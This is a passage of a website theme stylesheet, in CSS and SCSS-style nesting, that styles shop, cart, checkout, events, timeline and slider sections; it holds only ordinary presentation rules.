992px) { .coming-soon__countdown li span { font-size: 60px; } } .coming-soon__countdown li i { text-transform: uppercase; color: var(--thm-black); background-color: var(--thm-base); display: block; font-size: 20px; font-style: normal; line-height: 40px; display: block; padding-top: 5px; margin-top: 45px; } /*-------------------------------------------------------------- # Shop --------------------------------------------------------------*/ .shop-page { padding-top: 100px; padding-bottom: 85px; } @media (max-width: 992px) { .shop-page { padding-top: 120px; padding-bottom: 105px; } } .product-sorting { display: flex; align-items: center; justify-content: space-between; margin-bottom: 30px; flex-direction: column; justify-content: flex-start; align-items: flex-start; } @media (min-width: 768px) { .product-sorting { flex-direction: row; justify-content: space-between; align-items: center; } } .product-sorting p { margin: 0; color: var(--thm-text); font-size: 18px; margin-bottom: 20px; } @media (min-width: 768px) { .product-sorting p { margin-bottom: 0; } } .product-sorting .form-group { max-width: 340px; width: 100%; } .product-card { margin-bottom: 30px; } .product-card__buttons { position: absolute; bottom: 30px; left: 0; width: 100%; display: flex; justify-content: center; align-items: center; opacity: 0; visibility: hidden; transform: translateY(-30%); transition: 500ms ease; } .product-card:hover .product-card__buttons { opacity: 1; visibility: visible; transform: translateY(0); } .product-card__buttons .btn-style-one { margin-right: 10px; } .product-card__buttons .btn-style-two:hover .btn-curve { width: 101%; } .product-card__buttons .theme-btn .btn-title { padding: 7px 21px 3px; font-size: 16px; } .product-card__image { position: relative; overflow: hidden; border-radius: 8px; } .product-card__image>img { width: 100%; } .product-card__content { text-align: center; } .product-card__title { margin: 0; color: var(--thm-black); font-size: 24px; font-weight: 400; text-transform: uppercase; margin-top: 25px; margin-bottom: 5px; } .product-card__title a { color: inherit; transition: all 500ms ease; } .product-card__title a:hover { color: var(--thm-base); } .product-card__price { color: var(--thm-text); font-size: 16px; line-height: 1; margin: 0; margin-bottom: 10px; } .product-card__stars { display: flex; justify-content: center; align-items: center; line-height: 1; } .product-card__stars i { font-size: 14px; color: var(--thm-base); } .product-card__stars i+i { margin-left: 5px; } .load-more-products { margin-top: 30px; } /* shop sidebar */ .shop-search form { border-radius: 8px; position: relative; background-color: var(--thm-base); } .shop-search button[type="submit"] { position: absolute; top: 50%; right: 30px; transform: translateY(-50%); color: var(--thm-black); background-color: transparent; padding: 0; width: auto; height: auto; display: flex; align-items: center; } .shop-search form input[type="search"], .shop-search form input[type="text"] { width: 100%; height: 70px; background-color: var(--thm-base); border-radius: 8px; padding-left: 30px; padding-right: 30px; font-size: 14px; color: var(--thm-black); font-family: var(--thm-b-font); } .shop-search form ::placeholder { color: inherit; opacity: 1; } .shop-sidebar__title { margin: 0; color: var(--thm-black); text-transform: uppercase; font-size: 24px; font-weight: 400; margin-bottom: 25px; } .product-sidebar__price-range .noUi-horizontal { height: 4px; background-color: #f4f5f8; border: none; box-shadow: none; } .product-sidebar__price-range .noUi-handle { border-radius: 50%; width: 14px; height: 14px; background-color: var(--thm-base); border: none; outline: none; box-shadow: none; } .product-sidebar__price-range .noUi-horizontal .noUi-handle { right: -8px; } .product-sidebar__price-range .noUi-handle::before, .product-sidebar__price-range .noUi-handle::after { display: none; } .product-sidebar__price-range .noUi-connect { background-color: var(--thm-base); } .product-sidebar__price-range .form-group { display: flex; align-items: center; justify-content: space-between; margin-bottom: 0; margin-top: 20px; } .product-sidebar__price-range .form-group p { margin: 0; } .product-sidebar__price-range .form-group .left>span { margin-left: 5px; margin-right: 5px; } .product-sidebar__price-range .form-group .left { display: flex; align-items: center; } .product-sidebar__price-range .theme-btn .btn-title { padding: 7px 21px 3px; font-size: 16px; } .shop-category ul { position: relative; margin-top: -15px; } .shop-category ul li { position: relative; line-height: 30px; font-size: 16px; text-transform: capitalize; color: var(--thm-text); margin-bottom: 15px; } .shop-category ul li:last-child { margin-bottom: 0; } .shop-category ul li a { position: relative; display: block; line-height: 30px; font-size: 16px; text-transform: capitalize; color: var(--thm-text); font-weight: 400; transition: all 0.3s ease; z-index: 1; } .shop-category ul li:hover a, .shop-category ul li.active a { color: var(--thm-black); font-weight: 400; text-shadow: 0 0 1px currentColor; } .shop-category ul li a:after { position: absolute; right: 0; top: -1px; font-family: "Flaticon"; content: "\f15f"; opacity: 1; font-size: 10px; line-height: 30px; font-weight: 700; z-index: 1; } .shop-sidebar__single { padding: 30px; border: 1px solid; border-color: rgb(233, 235, 238); margin-bottom: 30px; border-radius: 8px; } .shop-sidebar__single.shop-search { border: none; padding: 0; } /* review form */ .review-form { padding-bottom: 100px; } @media (min-width: 992px) { .review-form { padding-bottom: 120px; } } .review-form .row { margin-left: -10px; margin-right: -10px; } .review-form [class*="col-"] { padding-left: 10px; padding-right: 10px; } .review-form .form-group { margin-bottom: 20px; } .review-form__title { margin: 0; text-transform: uppercase; font-size: 36px; margin-bottom: 30px; letter-spacing: 0.01em; } .review-form__text { margin: 0; color: var(--thm-text); font-size: 18px; display: flex; align-items: center; margin-bottom: 15px; } .review-form__text i { font-size: 14px; color: var(--thm-base); } .review-form__text i:first-child { margin-left: 10px; } .review-form__text i+i { margin-left: 5px; } .review-one .comment-box .reply-btn { display: flex; align-items: center; } @media (min-width: 992px) { .review-one .comment-box .reply-btn { position: absolute; top: 0; right: 0; } } @media (min-width: 992px) { .review-one .comment-box .text { margin-bottom: 0; } } .review-one .comment-box .reply-btn i { font-size: 14px; color: var(--thm-base); } .review-one .comment-box .reply-btn i+i { margin-left: 5px; } /* product description */ .product-description { padding-bottom: 40px; } .product-description__title { margin: 0; font-size: 36px; text-transform: uppercase; color: var(--thm-black); letter-spacing: 0.01em; margin-bottom: 30px; } .product-description__text { margin: 0; } .product-description__text+.product-description__text { margin-top: 30px; } /* product details */ .product-details { padding-bottom: 60px; padding-top: 100px; } @media (min-width: 1200px) { .product-details { padding-top: 120px; } } .product-details__buttons { margin-bottom: 35px; margin-top: 15px; } .product-details__buttons .theme-btn { margin-right: 10px; margin-top: 5px; } .product-details__social { margin-bottom: 20px; display: flex; align-items: center; flex-wrap: wrap; } .product-details__social span { font-size: 24px; color: var(--thm-black); text-transform: uppercase; font-family: var(--thm-font); margin-right: 20px; flex: 0 0 100%; margin-bottom: 10px; } @media (min-width: 1200px) { .product-details__social span { margin-bottom: 0; flex: 0 0 auto; } } .product-details__social a { display: flex; width: 44px; height: 44px; background-color: #f4f5f8; color: #686a6f; display: flex; align-items: center; justify-content: center; text-align: center; font-size: 16px; border-radius: 50%; transition: all 500ms ease; } .product-details__social a+a { margin-left: 10px; } .product-details__social a:hover { color: var(--thm-black); background-color: var(--thm-base); } .product-details__quantity { display: flex; align-items: center; } .product-details__quantity-title { margin: 0; color: var(--thm-black); text-transform: uppercase; font-size: 24px; margin-right: 20px; } .product-details__quantity .quantity-box { position: relative; width: 98px; border-radius: 8px; height: 60px; } .product-details__quantity .quantity-box input { width: 98px; border-radius: 8px; height: 60px; border: 1px solid #e9ebee; -webkit-appearance: textfield; -moz-appearance: textfield; font-family: var(--thm-b-font); padding-left: 30px; } .product-details__quantity .quantity-box button { width: 29px; height: 29px; background-color: transparent; color: var(--thm-black); font-size: 8px; position: absolute; top: 1px; right: 1px; background-color: #fff; border-left: 1px solid #e9ebee; border-top-right-radius: 8px; display: flex; align-items: center; justify-content: center; } .product-details__quantity .quantity-box button.sub { bottom: 1px; top: auto; border-top: 1px solid #e9ebee; border-top-right-radius: 0px; border-bottom-right-radius: 8px; } .product-details__reveiw { border-bottom: 1px solid #e9ebee; display: flex; align-items: center; padding-bottom: 20px; margin-bottom: 20px; } .product-details__reveiw i { font-size: 18px; color: var(--thm-base); } .product-details__reveiw i+i { margin-left: 5px; } .product-details__reveiw span { line-height: 1; font-size: 16px; color: var(--thm-text); position: relative; top: 2px; margin-left: 10px; } .product-details__title { font-size: 45px; text-transform: uppercase; margin: 0; margin-top: 30px; } @media (min-width: 1200px) { .product-details__title { margin-top: -5px; margin-right: 10px; } } .product-details__price { margin: 0; color: var(--thm-base); font-size: 20px; line-height: 1; margin-bottom: 20px; } @media (min-width: 1200px) { .product-details__top { display: flex; align-items: baseline; } } /* cart page */ .cart-page { padding-top: 100px; padding-bottom: 100px; } @media (min-width: 992px) { .cart-page { padding-top: 120px; padding-bottom: 120px; } } .cart-table { margin-bottom: 60px; } @media (max-width: 1199px) { .cart-table { min-width: 1170px; } } .cart-table thead th { text-transform: uppercase; font-family: var(--thm-font); font-size: 30px; color: var(--thm-black); font-weight: 400; padding: 0; border: none; padding-bottom: 20px; } .cart-table thead th:last-child { text-align: right; } .cart-table .quantity-box { position: relative; width: 98px; border-radius: 8px; height: 60px; } .cart-table .quantity-box input { width: 98px; border-radius: 8px; height: 60px; border: 1px solid #e9ebee; -webkit-appearance: textfield; -moz-appearance: textfield; font-family: var(--thm-b-font); padding-left: 30px; } .cart-table .quantity-box button { width: 29px; height: 29px; background-color: transparent; color: var(--thm-black); font-size: 8px; position: absolute; top: 1px; right: 1px; background-color: #fff; border-left: 1px solid #e9ebee; border-top-right-radius: 8px; display: flex; align-items: center; justify-content: center; } .cart-table .quantity-box button.sub { bottom: 1px; top: auto; border-top: 1px solid #e9ebee; border-top-right-radius: 0px; border-bottom-right-radius: 8px; } .cart-table .product-box { display: flex; align-items: center; } .cart-table h3 { text-transform: uppercase; margin: 0; color: var(--thm-black); font-size: 24px; margin-left: 30px; } .cart-table h3 a { color: inherit; } .cart-table tbody tr { vertical-align: middle; } .cart-table tbody tr:last-child { border-bottom: 1px solid #e9ebee; } .cart-table tbody td { vertical-align: middle; border-top: 1px solid #e9ebee; padding-top: 30px; padding-bottom: 30px; padding-left: 0; padding-right: 0; font-size: 16px; color: #686a6f; } .cart-table tbody td:last-child { text-align: right; } .cart-cupon__form { margin-bottom: 30px; } .cart-cupon__input { width: 100%; max-width: 370px; border-radius: 8px; background-color: #f4f5f8; padding-left: 30px; padding-right: 30px; margin-right: 10px; font-family: var(--thm-b-font); font-size: 14px; color: #686a6f; height: 65px; margin-bottom: 20px; } .cart-cupon__form ::placeholder { color: inherit; opacity: 1; } .cart-total { margin-bottom: 20px; } .cart-total li { display: flex; justify-content: flex-end; align-items: center; font-size: 18px; } .cart-total li+li { margin-top: 10px; } .cart-total li span:first-child { text-transform: uppercase; font-family: var(--thm-font); font-size: 30px; color: var(--thm-black); margin-right: 70px; display: block; width: 133px; text-align: right; } .cart-total li:nth-child(2) span:first-child { position: relative; right: 6px; } .cart-total__total { color: var(--thm-base); font-weight: 500; } .cart-page__buttons { display: flex; align-items: center; justify-content: flex-end; flex-wrap: wrap; } .cart-page__buttons .btn-style-one { margin-left: 0px; margin-top: 10px; } @media (min-width: 1200px) { .cart-page__buttons .btn-style-one { margin-top: 0; margin-left: 10px; } } .product-details__buttons .btn-style-two:hover .btn-curve, .cart-page__buttons .btn-style-two:hover .btn-curve { background-color: var(--thm-base); } /* checkout page */ .checkout-page { padding-top: 100px; padding-bottom: 100px; } @media (min-width: 992px) { .checkout-page { padding-top: 120px; padding-bottom: 120px; } } .checkout-page .default-form .row { margin-left: -10px; margin-right: -10px; } .checkout-page .default-form [class*="col-"] { padding-left: 10px; padding-right: 10px; } .checkout-page .default-form .form-group { margin-bottom: 20px; } .checkout-page__returning { margin: 0; font-size: 16px; color: var(--thm-text); line-height: 1.5em; margin-bottom: 15px; } @media (min-width: 768px) { .checkout-page__returning { line-height: 1; } } .checkout-page__returning a { color: var(--thm-base); } .checkout__title { text-transform: uppercase; margin: 0; color: var(--thm-black); font-size: 35px; font-weight: 400; font-family: var(--thm-font); line-height: 1; margin-bottom: 40px; } @media (min-width: 768px) { .checkout__title { font-size: 45px; } } @media (min-width: 1200px) { .checkout__title { font-size: 60px; } } .checkout__checkbox { position: relative; display: flex; align-items: center; } .checkout__checkbox input[type="checkbox"] { position: absolute; left: -999999px; visibility: hidden; } .checkout__checkbox label { display: flex; align-items: center; cursor: pointer; } .checkout__checkbox label::after { content: ""; width: 19px; height: 19px; background-color: #f4f5f8; border-radius: 50%; margin-left: 20px; font-family: "Font Awesome 5 Free"; font-weight: 900; font-size: 10px; color: #fff; display: flex; justify-content: center; align-items: center; } .checkout__checkbox input[type="checkbox"]:checked+label::after { background-color: var(--thm-base); content: "\f00c"; } .checkout-page .default-form .field-checkbox { position: relative; } .checkout-page .default-form .field-checkbox input[type="checkbox"] { position: absolute; left: -999999px; visibility: hidden; } .checkout-page .default-form .field-checkbox label { display: flex; align-items: center; font-size: 16px; color: var(--thm-text); cursor: pointer; } .checkout-page .default-form .field-checkbox label::before { content: ""; width: 19px; height: 19px; background-color: #f4f5f8; border-radius: 50%; margin-right: 10px; font-family: "Font Awesome 5 Free"; font-weight: 900; font-size: 10px; color: #fff; display: flex; justify-content: center; align-items: center; } .checkout-page .default-form .field-checkbox input[type="checkbox"]:checked+label::before { background-color: var(--thm-base); content: "\f00c"; } .checkout-page .default-form textarea { height: 150px; } .checkout-page .default-form { margin-bottom: 60px; } .checkout__table { margin-bottom: 50px; } @media (min-width: 992px) { .checkout__table { margin-bottom: 0; } } .checkout__table thead th { text-transform: uppercase; font-family: var(--thm-font); color: var(--thm-black); font-size: 30px; line-height: 1; font-weight: 400; } .checkout__table th:last-child, .checkout__table td:last-child { text-align: right; } .checkout__table thead { border-top: 1px solid #e9ebee; border-bottom: 1px solid #e9ebee; } .checkout__table thead th, .checkout__table tbody td { padding: 0; /* border-top: 1px solid #e9ebee; */ border: 0; } .checkout__table thead th { padding-top: 30px; padding-bottom: 23px; } .checkout__table tbody { border-bottom: 1px solid #e9ebee; } .checkout__table tbody td { padding-top: 10px; padding-bottom: 10px; color: var(--thm-text); } .checkout__payment { background-color: #f4f5f8; border-radius: 8px; padding: 30px; padding-bottom: 5px; margin-bottom: 20px; } @media (min-width: 992px) { .checkout__payment { padding: 50px; padding-bottom: 25px; } } .checkout__payment__item+.checkout__payment__item { margin-top: 35px; } .checkout__payment__title { margin: 0; text-transform: uppercase; font-size: 24px; color: var(--thm-black); font-weight: 400; display: flex; align-items: center; margin-bottom: 20px; cursor: pointer; } .checkout__payment__title::before { content: ""; width: 19px; height: 19px; background-color: #fff; border: 2px solid #e9ebee; border-radius: 50%; margin-right: 10px; font-family: "Font Awesome 5 Free"; font-weight: 900; font-size: 10px; color: #fff; display: flex; justify-content: center; align-items: center; margin-right: 15px; position: relative; top: -2px; transition: all 500ms ease; } .checkout__payment__title img { margin-left: 15px; } .checkout__payment__item--active .checkout__payment__title::before { background-color: var(--thm-base); border-color: var(--thm-base); content: "\f00c"; } .checkout__payment__content { font-size: 16px; line-height: 30px; color: #686a6f; } /*-------------------------------------------------------------- # Video Styles --------------------------------------------------------------*/ .video-one { padding-top: 90px; padding-bottom: 75px; } @media (min-width: 992px) { .video-one { padding-top: 120px; padding-bottom: 105px; } } .video-one .video-one__image { position: relative; margin-bottom: 60px; } .video-one .video-one__image img { width: 100%; filter: grayscale(100%); border-radius: 8px; } .video-one__content { text-align: center; } @media (min-width: 992px) { .video-one__content { text-align: left; } } .video-one__content .sec-title { margin-bottom: 0; } .video-one__content .sec-title h2 { letter-spacing: -0.02em; } @media (min-width: 768px) { .video-one__content .sec-title h2 { max-width: 500px; margin-left: auto; margin-right: auto; } } .video-one__content .block-text { margin: 0; font-family: var(--thm-b-font); font-size: 16px; line-height: 34px; color: var(--thm-text); margin-top: 20px; } @media (min-width: 768px) { .video-one__content .block-text { max-width: 500px; margin-top: 0; margin-left: auto; margin-right: auto; } } .video-one__image .vid-link { background-color: var(--thm-base); border-radius: 50%; display: flex; justify-content: center; align-items: center; position: absolute; color: var(--thm-black); transition: all 500ms ease; width: 70px; height: 70px; bottom: calc(50% - 35px); left: calc(50% - 35px); font-size: 20px; } @media (min-width: 768px) { .video-one__image .vid-link { width: 107px; font-size: 30px; right: 100px; bottom: -53.5px; height: 107px; left: auto; } } .video-one__image .vid-link:hover { background-color: var(--thm-black); color: #ffffff; } .video-one__image .vid-link a { color: inherit; } .video-one__image .vid-link .icon { position: relative; top: 3px; } .video-one__image .vid-link::before { position: absolute; content: ""; border-radius: 50%; border: 1px solid var(--thm-black); top: -13px; bottom: -13px; left: -13px; right: -13px; opacity: 0.2; } .video-one__image .vid-link .ripple, .video-one__image .vid-link .ripple:before, .video-one__image .vid-link .ripple:after { position: absolute; top: 50%; left: 50%; width: 130px; height: 130px; border-radius: 50%; -ms-border-radius: 50%; transform: translate(-50%, -50%); box-shadow: 0 0 0 0 rgba(255, 170, 23, 0.6); -webkit-animation: ripple 3s infinite; animation: ripple 3s infinite; } .video-one__image .vid-link .ripple:before { -webkit-animation-delay: 0.9s; animation-delay: 0.9s; content: ""; position: absolute; } .video-one__image .vid-link .ripple:after { -webkit-animation-delay: 0.6s; animation-delay: 0.6s; content: ""; position: absolute; } /*-------------------------------------------------------------- # How it works Styles --------------------------------------------------------------*/ .how-it-works { background-color: #f6f6f6; padding-top: 90px; padding-bottom: 60px; } @media (min-width: 992px) { .how-it-works { padding-top: 120px; padding-bottom: 90px; } } .how-it-works-card { background-color: #fff; border-radius: 8px; padding: 2px; box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.1); transition: background 500ms ease; margin-bottom: 30px; } .how-it-works-card:hover { background-color: var(--thm-base); } .how-it-works-card__inner { border-radius: 8px; background-color: #fff; padding-bottom: 45px; } .how-it-works-card__icon { font-size: 64px; color: var(--thm-base); display: block; line-height: 1; padding-top: 60px; margin-bottom: 30px; } .how-it-works-card__title { margin: 0; color: var(--thm-black); line-height: 1; text-transform: uppercase; font-size: 30px; } .how-it-works-card__title a { color: inherit; } .how-it-works-card__text { margin: 0; font-size: 16px; line-height: 34px; color: var(--thm-text); max-width: 241px; margin-left: auto; margin-right: auto; margin-top: 35px; margin-bottom: 27px; } .how-it-works-card__link { text-transform: uppercase; text-align: center; color: var(--thm-black); font-size: 16px; letter-spacing: 0.1em; font-family: var(--thm-font); display: inline-block; vertical-align: middle; position: relative; } .how-it-works-card__link::before { content: ""; width: 100%; height: 2px; background-color: var(--thm-base); top: 80%; left: 0; display: block; position: absolute; transform: scale(0, 1); transform-origin: left center; transition: transform 500ms ease; } .how-it-works-card__link:hover { color: var(--thm-black); } .how-it-works-card__link:hover::before { transform: scale(1, 1); transform-origin: right center; } /*-------------------------------------------------------------- # History Styles --------------------------------------------------------------*/ .history-timeline { padding-bottom: 40px; padding-top: 90px; } @media (min-width: 1200px) { .history-timeline { padding-top: 0; padding-bottom: 120px; margin-top: -53.5px; } } .history-timeline__year { width: 85px; height: 85px; background-color: var(--thm-base); display: flex; align-items: center; justify-content: center; text-align: center; color: var(--thm-black); font-size: 30px; font-family: var(--thm-font); border-radius: 50%; padding-top: 2px; margin-bottom: 0px; position: relative; z-index: 10; } @media (min-width: 992px) { .history-timeline__year { margin-bottom: 0; margin-right: auto; margin-left: auto; } } @media (min-width: 1200px) { .history-timeline__year { width: 107px; height: 107px; font-size: 40px; } } .history-timeline__date { font-size: 20px; color: var(--thm-base); text-transform: uppercase; font-family: var(--thm-font); margin: 0; display: block; line-height: 1; margin-bottom: 10px; position: relative; } @media (min-width: 1200px) { .history-timeline__date::before { content: ""; width: 23px; height: 23px; background-color: var(--thm-base); border-radius: 50%; position: absolute; top: 0; left: -55px; transform: translateY(50%) translateX(-50%); z-index: 10; } } .history-timeline__title { margin: 0; text-transform: uppercase; color: var(--thm-black); font-size: 40px; line-height: 1; } .history-timeline__text { margin: 0; color: var(--thm-text); font-size: 16px; line-height: 34px; margin-top: 30px; } .history-timeline__image { background-color: #222429; border-radius: 8px; display: inline-block; margin-top: 30px; } @media (min-width: 1200px) { .history-timeline__image { margin-top: 0; } } .history-timeline__image img { max-width: 100%; border-radius: 8px; mix-blend-mode: luminosity; } .history-timeline__card .row { position: relative; padding-top: 40px; } @media (min-width: 1200px) { .history-timeline__card .row { padding-top: 80px; } } .history-timeline__card .row:last-child { padding-bottom: 0; } @media (min-width: 992px) { .history-timeline__card .row:nth-child(odd) { flex-direction: row-reverse; } } @media (min-width: 992px) { .history-timeline__card { position: relative; } .history-timeline__card:after { content: ""; width: 1px; height: 100%; background-color: #e9ebee; position: absolute; transform: translateX(-50%); top: 0; left: 50%; } } .history-timeline__card { margin-bottom: 40px; } @media (min-width: 1200px) { .history-timeline__card { padding-bottom: 70px; margin-bottom: 0; } .history-timeline__card:last-child { padding-bottom: 0; } .history-timeline__card .row { margin-left: -55px; margin-right: -55px; } .history-timeline__card .row [class*="col-"] { padding-left: 55px; padding-right: 55px; } .history-timeline__card .row:nth-child(even) .history-timeline__info { text-align: right; } .history-timeline__card .row:nth-child(even) .history-timeline__date::before { left: auto; right: -55px; transform: translateY(50%) translateX(50%); } .history-timeline__card:nth-child(even) .row:nth-child(even) { flex-direction: row-reverse; } .history-timeline__card:nth-child(even) .row { flex-direction: row; } .history-timeline__card:nth-child(even) .row:nth-child(odd) .history-timeline__info { text-align: right; } .history-timeline__card:nth-child(even) .row:nth-child(even) .history-timeline__info { text-align: left; } .history-timeline__card:nth-child(even) .row:nth-child(even) .history-timeline__date::before { right: auto; left: -55px; transform: translateY(50%) translateX(-50%); } .history-timeline__card:nth-child(even) .row:nth-child(odd) .history-timeline__date::before { right: -55px; left: auto; transform: translateY(50%) translateX(50%); } } /*-------------------------------------------------------------- # Brand Portfolio Styles --------------------------------------------------------------*/ .brand-portfolio__item { position: relative; background-color: var(--thm-base); text-align: center; justify-content: center; align-items: center; padding-top: 80px; padding-bottom: 80px; } @media (min-width: 1200px) { .brand-portfolio__item { padding-top: 170px; padding-bottom: 170px; } } @media (min-width: 992px) { .brand-portfolio__item .auto-container { display: flex; justify-content: space-between; align-items: center; text-align: left; flex-direction: row-reverse; } } .brand-portfolio__item__bg { position: absolute; top: 0; left: 0; bottom: 0; right: 0; background-color: var(--thm-base); background-blend-mode: luminosity; opacity: 0; background-attachment: fixed; background-position: center center; transition: all 500ms ease; } .brand-portfolio__item:hover .brand-portfolio__item__bg { opacity: 0.1; } .brand-portfolio__title { margin: 0; color: #fff; font-size: 40px; font-weight: 500; line-height: 1; margin-top: 20px; margin-bottom: 10px; } @media (min-width: 992px) { .brand-portfolio__title { margin-top: 0; margin-bottom: 30px; font-size: 60px; } } .brand-portfolio__link { color: #fff; font-size: 20px; font-weight: 400; opacity: 0.6; transition: all 500ms ease; } .brand-portfolio__link:hover { opacity: 1; color: #fff; } @media (min-width: 992px) { .brand-portfolio__link { font-size: 28px; } } .brand-portfolio__link span { margin-left: 10px; position: relative; top: 2px; } .brand-portfolio__image img { opacity: 0.6; transition: all 500ms ease; } .brand-portfolio__item:hover .brand-portfolio__image img { opacity: 1; } .brand-portfolio__item:nth-child(2) { background-color: #8b34e4; } .brand-portfolio__item:nth-child(2) .brand-portfolio__item__bg { background-color: #8b34e4; } .brand-portfolio__item:nth-child(3) { background-color: #3abd90; } .brand-portfolio__item:nth-child(3) .brand-portfolio__item__bg { background-color: #3abd90; } .brand-portfolio__item:nth-child(4) { background-color: #e7842b; } .brand-portfolio__item:nth-child(4) .brand-portfolio__item__bg { background-color: #e7842b; } .brand-portfolio__item:nth-child(5) { background-color: #cdced5; } .brand-portfolio__item:nth-child(5) .brand-portfolio__item__bg { background-color: #cdced5; } /*-------------------------------------------------------------- # Events Styles --------------------------------------------------------------*/ .events-one { padding-top: 80px; padding-bottom: 70px; } @media (min-width: 992px) { .events-one { padding-top: 120px; padding-bottom: 110px; } } .events-one .row { --bs-gutter-y: 30px; } .events-one__image { overflow: hidden; border-top-left-radius: 8px; border-top-right-radius: 8px; position: relative; } .events-one__date { position: absolute; top: 20px; right: 20px; background-color: var(--thm-base); width: 60px; height: 60px; font-family: var(--thm-font); text-align: center; display: flex; justify-content: center; align-items: center; color: #fff; font-weight: 400; text-transform: uppercase; font-size: 20px; border-radius: 8px; padding: 0 11px; line-height: 1; padding-top: 4px; z-index: 10; } .events-one__image img { width: 100%; filter: grayscale(100%); transition: 500ms ease; } .events-one__item:hover .events-one__image img { filter: grayscale(0); } .events-one__content { border: 1px solid transparent; border-top: 0; border-bottom-left-radius: 8px; border-bottom-right-radius: 8px; padding-left: 40px; padding-right: 40px; box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); padding-top: 33px; padding-bottom: 30px; transition: all 500ms ease; } .events-one__item:hover .events-one__content { border-color: #e9ebee; } .events-one__title { margin: 0; font-size: 34px; color: var(--thm-black); margin-bottom: 16px; text-transform: uppercase; } .events-one__title a { color: inherit; transition: all 500ms ease; } .events-one__title a:hover { color: var(--thm-base); } .events-one__meta li { display: flex; align-items: center; font-size: 16px; color: var(--thm-text); } .events-one__meta li i { color: var(--thm-base); margin-right: 10px; width: 18px; } .events-one .more-box { margin-top: 60px; } .events-details { padding: 80px 0 80px; } @media (min-width: 992px) { .events-details { padding: 120px 0; } } .events-details .events-one__image { border-radius: 8px; } .events-details__content .theme-btn { display: inline-flex; margin-top: 50px; } .events-details .events-one__title { position: relative; top: -10px; } .events-details__content { margin-top: 40px; } .events-details__content p { margin: 0; } .events-details__content p+p { margin-top: 45px; } @media (min-width: 992px) { .events-details .events-one__title { font-size: 50px; } } .events-details__sidebar { margin-top: 40px; } .events-details__sidebar .row { --bs-gutter-y: 30px; } .events-details__widget-info { background-color: #f4f5f8; padding-left: 50px; padding-right: 50px; padding-top: 42px; padding-bottom: 47px; border-radius: 8px; } .events-details__widget-info ul { margin: 0; } .events-details__widget-info li { display: flex; align-items: flex-start; justify-content: space-between; } .events-details__widget-info li a { color: inherit; transition: all 500ms ease; } .events-details__widget-info li a:hover { color: var(--thm-black); text-shadow: 0 0 1px currentColor; } .events-details__widget-info li+li { margin-top: 14px; } .events-details__widget-info li strong { text-transform: uppercase; color: var(--thm-black); font-weight: 400; font-family: var(--thm-font); font-size: 22px; } .events-details__widget-info li span { text-align: right; font-size: 14px; color: var(--thm-text); line-height: 24px; display: block; position: relative; top: 4px; } .events-details__widget-map { overflow: hidden; border-radius: 8px; } .events-details__widget-map iframe { height: 386px; } /* update 01-10-2021 */ /* common css */ .sec-title-six { margin-bottom: 54px; &__text { color: var(--thm-base); font-size: 16px; margin: 0; line-height: 1; margin-bottom: 26px; span { padding-bottom: 6px; border-bottom: 2px solid currentColor; } } &__title { font-size: 40px; font-weight: bold; color: var(--thm-black); margin: 0; line-height: 1; @media(min-width: 992px) { font-size: 50px; } } } .sec-title-seven { margin-bottom: 50px; &__title { margin: 0; color: var(--thm-black); font-size: 40px; line-height: 1.2em; letter-spacing: -0.04em; @media(min-width: 1200px) { font-size: 50px; } span { font-weight: bold; } } } .sec-title-eight { margin-bottom: 47px; &__text { margin: 0; font-size: 16px; color: var(--thm-text); line-height: 1; margin-bottom: 10px; @media(min-width: 992px) { font-size: 18px; } } &__title { margin: 0; font-size: 40px; color: var(--thm-black); font-weight: bold; line-height: 1.2em; @media (min-width: 992px) { font-size: 50px; } } } .thm-btn__six { background-color: var(--thm-base); color: #fff; font-size: 16px; font-weight: bold; display: inline-flex; align-items: center; justify-content: center; text-align: center; padding: 17px 59px; transition: all 500ms ease; &:hover { background-color: var(--thm-black); color: #fff; } } .thm-btn__seven { border-radius: 5px; display: inline-flex; font-size: 12px; font-weight: bold; color: #fff; letter-spacing: .1em; background-image: linear-gradient(to right, #ff9a61 0%, #ff4b82 51%, #ff9a61 100%); background-size: 200% auto; transition: .5s; text-transform: uppercase; padding: 11px 49px; &:hover { color: #fff; background-position: 100%; } } .thm-btn__eight { display: inline-flex; background-color: var(--thm-black); color: #fff; font-size: 12px; font-weight: bold; text-transform: uppercase; letter-spacing: .1em; transition: all 500ms ease; padding: 14.5px 50px; &:hover { background-color: var(--thm-base); color: var(--thm-black); } } /* header home 6 corporate agency */ .preloader .icon { background-size: 65px auto; } /* header six */ .header-six { .auto-container { @media(min-width: 1200px) { display: flex; align-items: center; } } &__logo { display: flex; align-items: center; justify-content: space-between; padding-top: 15px; padding-bottom: 15px; @media(min-width: 1200px) { padding-top: 29.5px; padding-bottom: 29.5px; } } .mobile-nav-toggler { font-size: 20px; color: var(--thm-black); cursor: pointer; @media(min-width: 1200px) { display: none; } } &__info, &__social { display: none; @media(min-width: 1200px) { display: flex; align-items: center; } } &__info { margin-left: auto; &__link { display: flex; align-items: center; color: var(--thm-black); font-weight: 700; border-left: 1px solid #e2e7ea; margin-left: 40px; padding-left: 40px; transition: all 500ms ease; padding-top: 1.5px; padding-bottom: 1.5px; &:first-of-type { border-left: 0; margin-left: 0; padding-left: 0; } &:hover { color: var(--thm-base); >i { color: var(--thm-black); } } >i { font-size: 16px; color: var(--thm-base); transition: all 500ms ease; margin-right: 10px; } } } &__social { margin-left: 50px; a { color: var(--thm-text); font-size: 16px; transition: all 500ms ease; +a { margin-left: 25px; } &:hover { color: var(--thm-base); } } } } /* slider six */ .slider-six { position: relative; &__curv { svg { width: 100%; position: absolute; bottom: -1px; left: 0; transform: rotate(-180deg); z-index: 10; color: #fff; } } .swiper-slide { position: relative; background-color: var(--thm-black); } .image-layer { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-color: var(--thm-black); background-repeat: no-repeat; background-size: cover; background-position: center center; opacity: .6; transform: scale(1); visibility: hidden; transition: visibility 0ms ease, transform 7000ms ease; } .swiper-slide-active .image-layer { visibility: visible; transform: scale(1.3); } &__content { position: relative; text-align: center; padding-top: 100px; padding-bottom: 100px; @media(min-width: 1200px) { padding-top: 240px; padding-bottom: 268px; } } &__title { font-size: 45px; letter-spacing: -0.02em; color: #ffffff; line-height: 1; font-weight: bold; margin-bottom: 30px; transform-origin: bottom center; opacity: 0; transform: translateY(90px); transition: transform 1500ms ease, opacity 1500ms ease; @media(min-width: 992px) { font-size: 60px; } @media(min-width: 1200px) { font-size: 90px; margin-bottom: 50px; } } &__text { margin: 0; color: #ffffff; font-size: 18px; font-weight: bold; margin-bottom: 15px; transform-origin: top center; transform: scaleY(0) translateY(-50px); transition: transform 1500ms 